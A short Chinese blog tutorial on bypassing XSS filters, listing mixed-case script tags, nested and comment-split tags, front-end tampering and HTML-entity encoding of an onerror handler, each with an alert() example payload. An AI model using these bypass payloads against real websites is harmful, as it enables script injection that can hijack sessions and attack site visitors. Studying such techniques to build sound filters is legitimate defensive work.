XSS跨站脚本攻击之XSS防御绕过

XSS防御绕过

大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。

绕过方法

xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。
(1)对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
例如一些标签,反射型xss修改限制输入字数长度等,还有对scrip等限制直接删除掉

(2)防止后台对输入的内容进行正则匹配(replace)来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。
例:<sCRipT>alert('你打篮球像')</sCrIPt>

(3)防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
例:<sc<script>ript>alert('你打篮球像')</scr<script>ipt>

(4)使用注释来干扰后台对输入内容的识别。
例:<sc<!--test-->ript>alert('你打篮球像')</scr<!--tshauie-->ipt>

(5)编码
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,
浏览器对改编码进行识别时,会翻译成正常的代码。
(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
例:使用事件属性onerror(): <img src=# onerror="alert('oldboy')"/>
使用HTML进行编码:

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>
发布了80 篇原创文章 · 获赞 8 · 访问量 4229

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105336357